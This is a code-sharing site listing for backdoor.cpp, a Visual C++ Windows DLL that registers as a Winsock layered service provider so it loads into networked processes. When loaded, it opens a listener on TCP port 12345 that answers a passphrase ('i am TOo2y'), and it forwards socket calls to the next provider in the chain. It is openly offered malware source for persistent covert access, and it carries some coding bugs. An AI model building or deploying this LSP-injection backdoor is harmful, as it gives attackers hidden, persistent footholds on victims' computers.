backdoor.cpp
上传用户:whhgrj
上传日期:2022-05-27
资源大小:2229k
文件大小:6k
开发平台:

Visual C++

  1. // backdoor.cpp : Defines the entry point for the DLL application.
  2. //
  3. #include "stdafx.h"
  4. #pragma data_seg("Shared") 
  5. int     dllcount=0;
  6. #pragma data_seg()
  7. #pragma comment (linker,"/section:Shared,rws")
  8. //#define  UNICODE
  9. //#define  _UNICODE
  10. #include <ws2spi.h>
  11. #include <tchar.h>
  12. #include <winsock2.h>  
  13. GUID  filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};
  14. LPWSAPROTOCOL_INFOW  protoinfo=NULL;
  15. WSPPROC_TABLE        nextproctable;
  16. DWORD                protoinfosize=0;
  17. HANDLE               hmutex;  
  18. HANDLE               hthread; 
  19. POINT                nowpt;
  20. int                  totalprotos=0;
  21. DWORD WINAPI backdoor(LPVOID)   
  22. {
  23. SOCKET   sock,sockt;
  24. WSADATA  wsa;
  25. int      iret=0;
  26. char     msg[25];
  27. struct   sockaddr_in sin;
  28. ::MessageBox(NULL,"backdoor安装成功!","",MB_OK);
  29. if(WSAStartup(MAKEWORD(2,2),&wsa))
  30. {
  31. OutputDebugString(_T("WSAStartup Error!"));
  32. return 0;
  33. }
  34. if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  35. {
  36. OutputDebugString(_T("Socket Error!"));
  37. return 0;
  38. }
  39. sin.sin_addr.s_addr=htons(INADDR_ANY);
  40. sin.sin_family=AF_INET;
  41. sin.sin_port=htons(12345);
  42. if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
  43. {
  44. OutputDebugString(_T("Bind Error!"));
  45. return 0;
  46. }
  47. if(listen(sock,5)==SOCKET_ERROR)
  48. {
  49. OutputDebugString(_T("Listen Error!"));
  50. return 0;
  51. }
  52.     while(1)
  53. {
  54. if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR)
  55. {
  56.      OutputDebugString(_T("Accept Error!"));
  57.      continue;
  58. }
  59. if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
  60. {
  61. OutputDebugString(_T("Recv Error!"));
  62. closesocket(sockt);
  63. continue;  
  64. }
  65. if(strstr(msg,"i am TOo2y"))
  66. {
  67. memset(msg,0,sizeof(msg));
  68. memcpy(msg,"i am waiting for you !",sizeof(msg)-1);
  69. if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
  70. {
  71. OutputDebugString(_T("Send Error!"));
  72. closesocket(sockt);
  73. continue;
  74. }
  75. }
  76. OutputDebugString(_T("Transport Successfully"));
  77. closesocket(sockt);
  78. }
  79. return 1;
  80. }
  81. BOOL getfilter()
  82. {
  83. int    errorcode;
  84. protoinfo=NULL;
  85. protoinfosize=0;
  86. totalprotos=0;
  87. if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
  88. {
  89. if(errorcode!=WSAENOBUFS)
  90. {
  91. OutputDebugString(_T("First WSCEnumProtocols Error!")); 
  92.      return FALSE;
  93. }
  94. }
  95. if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
  96. {
  97. OutputDebugString(_T("GlobalAlloc Error!"));   
  98. return FALSE;
  99. }
  100. if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
  101. {
  102. OutputDebugString(_T("Second WSCEnumProtocols Error!"));  
  103. return FALSE;
  104. }
  105. return TRUE;
  106. }
  107. void freefilter()
  108. {
  109. GlobalFree(protoinfo);
  110. }
  111. BOOL WINAPI DllMain(HINSTANCE hmodule,
  112. DWORD     reason,
  113. LPVOID    lpreserved)
  114. {
  115. TCHAR   processname[MAX_PATH];
  116. TCHAR   showmessage[MAX_PATH+25];
  117. switch(reason)
  118. {
  119. case DLL_PROCESS_ATTACH:
  120. {
  121.          GetModuleFileName(NULL,processname,MAX_PATH);
  122.        _tcscpy(showmessage,processname);
  123.          _tcscat(showmessage,_T(" Loading my dll ..."));
  124.            OutputDebugString(showmessage);  
  125. hmutex=CreateMutex(NULL,FALSE,NULL);    //  ? 
  126. WaitForSingleObject(hmutex,INFINITE); 
  127. dllcount++;
  128. if(dllcount==1)
  129. {
  130. OutputDebugString(_T("Start the backdoor ...")); 
  131. hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);  
  132. }
  133. ReleaseMutex(hmutex);
  134. break;
  135. }
  136. case DLL_PROCESS_DETACH:
  137. {
  138. WaitForSingleObject(hmutex,INFINITE);
  139. dllcount--;
  140. if(dllcount==0)
  141. {
  142. CloseHandle(hthread);
  143. }
  144. ReleaseMutex(hmutex);
  145. CloseHandle(hthread);
  146. break;
  147. }
  148. }
  149. return TRUE;
  150. }
  151. int WSPAPI WSPStartup(
  152. WORD wversionrequested,
  153. LPWSPDATA lpwspdata,
  154. LPWSAPROTOCOL_INFOW lpprotoinfo,
  155. WSPUPCALLTABLE upcalltable,
  156. LPWSPPROC_TABLE lpproctable)
  157. {
  158. int           i;
  159. int           errorcode;
  160.     int           filterpathlen;
  161. DWORD         layerid=0;
  162.     DWORD         nextlayerid=0;
  163.     TCHAR         *filterpath;
  164. HINSTANCE     hfilter;
  165. LPWSPSTARTUP  wspstartupfunc=NULL;
  166. if(lpprotoinfo->ProtocolChain.ChainLen<=1)
  167. {
  168.      OutputDebugString(_T("ChainLen<=1"));    
  169. return FALSE;
  170. }
  171. getfilter();
  172. for(i=0;i<totalprotos;i++)
  173. {
  174. if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
  175. {
  176. layerid=protoinfo[i].dwCatalogEntryId;
  177. break;
  178. }
  179. }
  180. for(i=0;i<lpprotoinfo->ProtocolChain.ChainLen;i++)
  181. {
  182. if(lpprotoinfo->ProtocolChain.ChainEntries[i]==layerid)
  183. {
  184. nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
  185. break;
  186. }
  187. }
  188. // if nextlayerid == 0  ?
  189. filterpathlen=MAX_PATH;
  190. filterpath=(TCHAR*)GlobalAlloc(GPTR,filterpathlen);  
  191. for(i=0;i<totalprotos;i++)
  192. {
  193. if(nextlayerid==protoinfo[i].dwCatalogEntryId)
  194. {
  195. if(WSCGetProviderPath(&protoinfo[i].ProviderId,(wchar_t *)filterpath,&filterpathlen,&errorcode)==SOCKET_ERROR)
  196. {
  197.              OutputDebugString(_T("WSCGetProviderPath Error!")); 
  198. return WSAEPROVIDERFAILEDINIT;
  199. }
  200. break;
  201. }
  202. }
  203. if(!ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH))
  204. {
  205.       OutputDebugString(_T("ExpandEnvironmentStrings Error!"));  
  206. return WSAEPROVIDERFAILEDINIT;
  207. }
  208. if((hfilter=LoadLibrary(filterpath))==NULL)
  209. {
  210.      OutputDebugString(_T("LoadLibrary Error!"));
  211. return WSAEPROVIDERFAILEDINIT;
  212. }
  213. if((wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))==NULL)
  214. {
  215. OutputDebugString(_T("GetProcessAddress Error!"));
  216. return WSAEPROVIDERFAILEDINIT;
  217. }
  218. if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
  219. {
  220. OutputDebugString(_T("wspstartupfunc Error!")); 
  221. return errorcode;
  222. }
  223. nextproctable=*lpproctable;
  224. freefilter();
  225. return 0;
  226. }